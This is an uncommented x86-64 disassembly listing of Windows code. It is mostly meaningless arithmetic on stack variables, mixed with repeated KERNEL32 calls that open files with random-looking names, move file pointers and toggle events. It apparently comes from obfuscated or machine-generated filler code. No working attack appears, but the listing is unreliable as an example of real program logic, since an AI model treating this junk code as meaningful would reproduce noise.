mov rcx, qword [0x1400fd390]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2830], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb1a4
mov rcx, qword [rsp + 0x3708]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
lea rax, [rsp + 0x414]
mov qword [rsp + 0x30d8], rax
movzx eax, word [rsp + 0x550]
mov rcx, qword [rsp + 0x1f90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x708], ax
mov rax, qword [0x1400fd530]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2b68]
shr rax, cl
mov rcx, qword [rsp + 0x19b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x17b8]
movzx eax, byte [rax]
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x2370]
mov eax, dword [rax]
add eax, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0x3090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax]
mov qword [rsp + 0x31a8], rax
movsx eax, word [0x1400fc3b8]
mov rcx, qword [rsp + 0x1b60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc4d0], ax
mov rax, qword [rsp + 0xa60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3fe], al
mov rax, qword [rsp + 0x1e48]
mov rcx, qword [rsp + 0xc50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x13f8], eax
mov rax, qword [0x1400fd328]
mov rcx, qword [rsp + 0x2aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2008], rax
mov rcx, qword [rsp + 0x2ac8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x674]
mov qword [rsp + 0x2980], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.QfVHT7HVRa5_fBSPggINhKE4vrjRVx9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2900], rax
mov rax, qword [rsp + 0x1c58]
movzx ecx, al
mov rax, qword [rsp + 0x3128]
shr rax, cl
mov qword [rsp + 0x1ae0], rax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
mov rax, qword [rsp + 0x1c38]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2388]
mov byte [rcx], al
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x36e8], rax
movzx eax, word [rsp + 0x6f8]
mov rcx, qword [rsp + 0xf70]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc434], ax
mov rax, qword [0x1400fd568]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1528]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2430], rax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov word [rsp + 0x2230], ax
mov rax, qword [rsp + 0x1958]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2598], rax
mov rax, qword [rsp + 0x1840]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x228], al
mov eax, dword [rsp + 0x1a70]
mov rcx, qword [rsp + 0x828]
mov qword [rsp + 0x4960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4960]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa48]
mov dword [rcx], eax
lea rax, [0x1400fd148]
mov qword [rsp + 0x1d88], rax
movzx eax, word [rsp + 0x430]
movzx ecx, word [rsp + 0x5c]
and eax, ecx
mov word [rsp + 0x718], ax
mov rax, qword [rsp + 0x1fa0]
mov rax, qword [rax]
mov qword [0x1400fd640], rax
mov eax, dword [rsp + 0x1680]
mov dword [rsp + 0x21c8], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c3]
add eax, ecx
mov byte [rsp + 0x57d], al
mov rax, qword [rsp + 0x1698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d0]
sub eax, ecx
mov word [rsp + 0x728], ax
lea rax, [0x1400fd4f0]
mov qword [rsp + 0x2a70], rax
mov rax, qword [rsp + 0x17f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1510]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x82], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x92bc
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27d8], eax
lea rax, [rsp + 0x1878]
mov qword [rsp + 0x36c8], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [0x1400fd5e4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x2550]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x2450]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1f30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x21c], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1d68]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1400fc398], ax
mov rax, qword [0x1400fd540]
mov qword [rsp + 0x2e48], rax
mov rax, qword [rsp + 0x2240]
mov rcx, qword [rsp + 0x7d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x36a8], rax
mov eax, 0x38
imul rax, rax, 1
mov dword [rsp + rax + 0x5b64], 0x362a7b61
mov rax, qword [rsp + 0x1830]
mov rcx, qword [rsp + 0x2b00]
mov qword [rsp + 0x4968], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4968]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2f50], rax
mov rax, qword [rsp + 0x1698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b0]
sar eax, cl
mov word [rsp + 0x314], ax
mov rax, qword [rsp + 0x2c70]
mov qword [rsp + 0x2be0], rax
mov rax, qword [rsp + 0x2cb8]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc382]
add eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x2988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x674], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54a], al
mov eax, dword [rsp + 0x1378]
movzx ecx, al
mov eax, dword [rsp + 0x2110]
sar eax, cl
mov dword [rsp + 0x47c], eax
movsx eax, word [rsp + 0x218]
movsx ecx, word [rsp + 0x5a8]
and eax, ecx
mov word [0x1400fc4d4], ax
lea rax, [rsp + 0x420]
mov qword [rsp + 0x2670], rax
movzx eax, word [rsp + 0x498]
movzx ecx, word [rsp + 0x884]
sub eax, ecx
mov word [rsp + 0x5e4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4101
mov rcx, qword [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x166c], eax
mov rax, qword [rsp + 0x2a60]
mov rax, qword [rax]
add rax, qword [rsp + 0x17e8]
mov qword [rsp + 0x2248], rax
movzx eax, byte [rsp + 0x10e]
mov byte [rsp + 0x1d5d], al
mov rax, qword [rsp + 0x2550]
mov ecx, dword [rsp + 0x1670]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x568], eax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x24d8], rax
mov rax, qword [rsp + 0x2f88]
movsx eax, word [rax]
movsx ecx, word [0x1400fc3e0]
xor eax, ecx
mov word [rsp + 0x5f8], ax
mov rax, qword [rsp + 0x1f60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x44c]
or eax, ecx
mov rcx, qword [rsp + 0xd88]
mov word [rcx], ax
mov rax, qword [rsp + 0x22e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f38]
shl rax, cl
mov qword [0x1400fd250], rax
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1b68]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x6d8], ax
mov rax, qword [rsp + 0x2bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x16f8]
mov qword [rcx], rax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x3208], rax
mov rax, qword [rsp + 0x2980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd80]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2164], eax
movsx eax, byte [rsp + 0x581]
mov rcx, qword [rsp + 0x1478]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x36b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1dc0]
mov eax, dword [rax]
mov dword [rsp + 0x13a4], eax
movzx eax, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
movzx ecx, byte [rsp + 0x137]
and eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x23b8]
mov rax, qword [rax]
mov qword [rsp + 0x2de0], rax
mov rax, qword [rsp + 0x1c10]
movzx eax, word [rax]
mov word [0x1400fd648], ax
mov rax, qword [0x1400fd208]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1958]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4e8], ax
mov rax, qword [rsp + 0x14f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc30], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7e31
mov rcx, qword [rsp + 0x36f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2128], eax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xdfb6
mov rcx, qword [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0x1228]
movzx eax, word [rax]
movzx ecx, word [0x1400fc434]
add eax, ecx
mov rcx, qword [rsp + 0xda8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0x2ec8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x408], al
mov eax, dword [rsp + 0x568]
mov dword [rsp + 0x2764], eax
mov rax, qword [0x1400fd4a0]
mov rcx, qword [rsp + 0x2528]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2be0], rax
lea rax, [rsp + 0x21c]
mov qword [rsp + 0x3840], rax
mov rax, qword [rsp + 0x16b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x84]
shl eax, cl
mov rcx, qword [rsp + 0x1228]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1aa8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x348c
mov rcx, qword [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13b0], eax
mov rax, qword [rsp + 0x1848]
mov rcx, qword [0x1400fd600]
or rcx, rax
mov rax, rcx
mov qword [0x1400fc488], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2fd0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x75fe
mov rcx, qword [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
mov rcx, qword [rsp + 0x29f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x618]
mov qword [rsp + 0x4970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4970]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3040]
mov rcx, qword [0x1400fc428]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2278], rax
mov rax, qword [rsp + 0x2f08]
mov rcx, qword [rsp + 0x978]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1bd0]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.Tk3KSccAXSdfJaFZqTOROXah
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5498], rax
mov rcx, qword [rsp + 0x2948]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x34e8], eax
movzx eax, word [rsp + 0xaf4]
mov word [rsp + 0xabc], ax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x1758]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2d60]
mov byte [rcx], al
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x2750]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20fc], eax
lea rax, [rsp + 0x235]
mov qword [rsp + 0x2ac0], rax
mov rax, qword [0x1400fd148]
mov rcx, qword [rsp + 0x2c18]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1500]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x988]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1400fc46c], eax
mov rax, qword [rsp + 0x2398]
movzx eax, word [rax]
mov word [rsp + 0x156c], ax
movsx eax, word [rsp + 0x218]
mov rcx, qword [rsp + 0xff8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x444], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xeac0
mov rcx, qword [rsp + 0x37c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0x1288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x1440]
mov rcx, qword [rsp + 0x10b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x39d8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x1900]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x990], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4bd3
mov rcx, qword [rsp + 0x2648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa4], eax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x54c], al
mov rax, qword [rsp + 0x1db0]
mov ecx, dword [0x1400fc49c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x574], eax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.6odB0UyosHY4DfzVYrKGZC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x54a0], rax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x360]
mov qword [rsp + 0x2610], rax
movzx eax, word [rsp + 0x858]
mov word [0x1400fd64c], ax
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1370]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2570], rax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xf38]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc8f1
mov rcx, qword [rsp + 0x2390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
lea rax, [rsp + 0x2c9]
mov qword [rsp + 0x1b80], rax
mov rax, qword [rsp + 0x948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc50]
mov dword [rcx], eax
mov rax, qword [0x1400fd4c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3fa]
sar eax, cl
mov byte [rsp + 0x3ea], al
mov rax, qword [rsp + 0x2410]
mov rcx, qword [rsp + 0x18c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x348]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x13a0], eax
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x2310], rax
movzx eax, word [rsp + 0x14c]
movzx ecx, word [rsp + 0x3a0]
sub eax, ecx
mov rcx, qword [0x1400fd388]
mov word [rcx], ax
mov rax, qword [rsp + 0x1138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x22b0]
add rax, qword [rcx]
mov qword [rsp + 0x950], rax
lea rax, [rsp + 0x1140]
mov qword [rsp + 0x2950], rax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x494], ax
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13ec], eax
movzx eax, word [0x1400fc4b8]
movzx ecx, word [rsp + 0x884]
or eax, ecx
mov word [rsp + 0x418], ax
mov rax, qword [rsp + 0x23b8]
mov rax, qword [rax]
mov qword [rsp + 0x3958], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
mov eax, dword [rsp + 0xc8]
movzx ecx, al
mov eax, dword [rsp + 0x110c]
shl eax, cl
mov dword [rsp + 0x348], eax
movzx eax, byte [rsp + 0x11a]
mov byte [rsp + 0x917], al
mov rcx, qword [rsp + 0x2f00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3d80], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x749
mov rcx, qword [rsp + 0x2cd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
movsx eax, word [rsp + 0x248]
mov rcx, qword [rsp + 0x2290]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc4d8], ax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x25d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x340]
mov ecx, dword [rsp + 0x34e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf8], eax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x820]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1428]
mov byte [rcx], al
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0x4b38], rax
mov eax, dword [rsp + 0x510]
mov rcx, qword [rsp + 0x2878]
mov qword [rsp + 0x4978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4978]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x13a0], eax
mov rax, qword [0x1400fd380]
mov rcx, qword [rsp + 0x1d00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2500], rax
mov rax, qword [rsp + 0x1c38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2490]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x250]
and eax, ecx
mov rcx, qword [rsp + 0x3840]
mov word [rcx], ax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x34e0], eax
mov rax, qword [rsp + 0x14f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x850]
and eax, ecx
mov rcx, qword [0x1400fd580]
mov word [rcx], ax
mov rax, qword [rsp + 0x1da0]
mov rax, qword [rax]
mov qword [rsp + 0x24e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.Hd3cMydHJN1c9N9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3de8], rax
mov rax, qword [rsp + 0x1850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4b4]
sub eax, ecx
mov word [rsp + 0x394], ax
movzx eax, word [rsp + 0x1d8]
mov word [rsp + 0x6d0], ax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a38], eax
mov rax, qword [rsp + 0x17f8]
mov rcx, qword [rsp + 0xf68]
mov qword [rsp + 0x4980], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4980]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x1238]
mov qword [rcx], rax
movsx eax, byte [0x1400fd135]
mov rcx, qword [rsp + 0x36a0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3f8], al
lea rax, [rsp + 0x630]
mov qword [rsp + 0x2a88], rax
mov rax, qword [rsp + 0x2098]
mov rcx, qword [rsp + 0x1c20]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x470]
mov qword [rcx], rax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf70]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5dc], ax
mov rax, qword [rsp + 0x1180]
mov rax, qword [rax]
mov qword [0x1400fd650], rax
movzx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x139], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x70b0
mov rcx, qword [rsp + 0x2900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27f4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x29c0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfe88
mov rcx, qword [rsp + 0x2338]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
mov rcx, qword [rsp + 0x3678]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
lea rax, [rsp + 0x3ac]
mov qword [rsp + 0x18d8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x75b8
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x433c], eax
movzx eax, word [rsp + 0x144]
mov rcx, qword [rsp + 0x1fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x428], ax
mov eax, dword [rsp + 0x900]
mov dword [rsp + 0x34d4], eax
mov rax, qword [rsp + 0x2870]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1348]
shr rax, cl
mov qword [rsp + 0x1900], rax
movsx eax, byte [rsp + 0x16e]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [rsp + 0x233], al
movsx eax, word [rsp + 0x224]
movsx ecx, word [rsp + 0x15d0]
add eax, ecx
mov word [rsp + 0x5a4], ax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1b68]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd5d8]
mov word [rcx], ax
mov rax, qword [0x1400fd560]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1460]
mov qword [rcx], rax
lea rax, [rsp + 0x2e90]
mov qword [rsp + 0x1d20], rax
mov rax, qword [rsp + 0x19f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [0x1400fd618]
movzx eax, word [rax]
mov word [rsp + 0x1610], ax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1fd8]
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1708], rax
mov eax, dword [rsp + 0x510]
mov ecx, dword [rsp + 0x20ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xe2c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5938
mov rcx, qword [rsp + 0x3ec8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
lea rax, [0x1400fd133]
mov qword [rsp + 0x4988], rax
mov rax, qword [rsp + 0x14d8]
mov rcx, qword [rsp + 0x1e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcf0], eax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x3e40], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3e18], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd495
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27e0], eax
movsx eax, word [0x1400fd3b8]
movsx ecx, word [rsp + 0x164]
shl eax, cl
mov word [0x1400fc4dc], ax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1ac4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.zJyzEFUxKgyhr9L68Z
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x54a8], rax
movzx eax, word [rsp + 0x58c]
movzx ecx, word [rsp + 0x440]
sar eax, cl
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x2c28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
add eax, ecx
mov word [rsp + 0x708], ax
lea rax, [rsp + 0x1ca8]
mov qword [rsp + 0x2a18], rax
mov rax, qword [rsp + 0x19d8]
mov eax, dword [rax]
add eax, dword [rsp + 0x10e8]
mov rcx, qword [rsp + 0x1548]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x2f49
mov rcx, qword [rsp + 0x2390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27cc], eax
mov rax, qword [rsp + 0x2c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov byte [rsp + 0x606], al
mov rax, qword [rsp + 0x2f78]
mov rcx, qword [rsp + 0x17c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2268], rax
